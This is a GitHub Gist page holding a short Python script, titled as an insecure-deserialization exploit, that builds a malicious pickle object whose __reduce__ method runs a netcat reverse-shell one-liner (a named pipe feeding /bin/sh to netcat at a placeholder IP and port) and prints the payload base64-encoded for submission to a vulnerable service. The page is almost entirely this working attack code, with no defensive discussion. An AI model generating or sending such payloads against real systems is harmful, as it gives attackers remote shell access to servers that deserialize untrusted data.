Created
December 14, 2024 08:09
-
-
Save blackvoidx/67ed60ad002004cfca5aac67f4c9f197 to your computer and use it in GitHub Desktop.
Insecure Deserialization (Python) lead to reverse shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import sys | |
import base64 | |
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat IP PORT > /tmp/f' | |
class rce(object): | |
def __reduce__(self): | |
import os | |
return (os.system,(command,)) | |
print(base64.b64encode(pickle.dumps(rce()))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment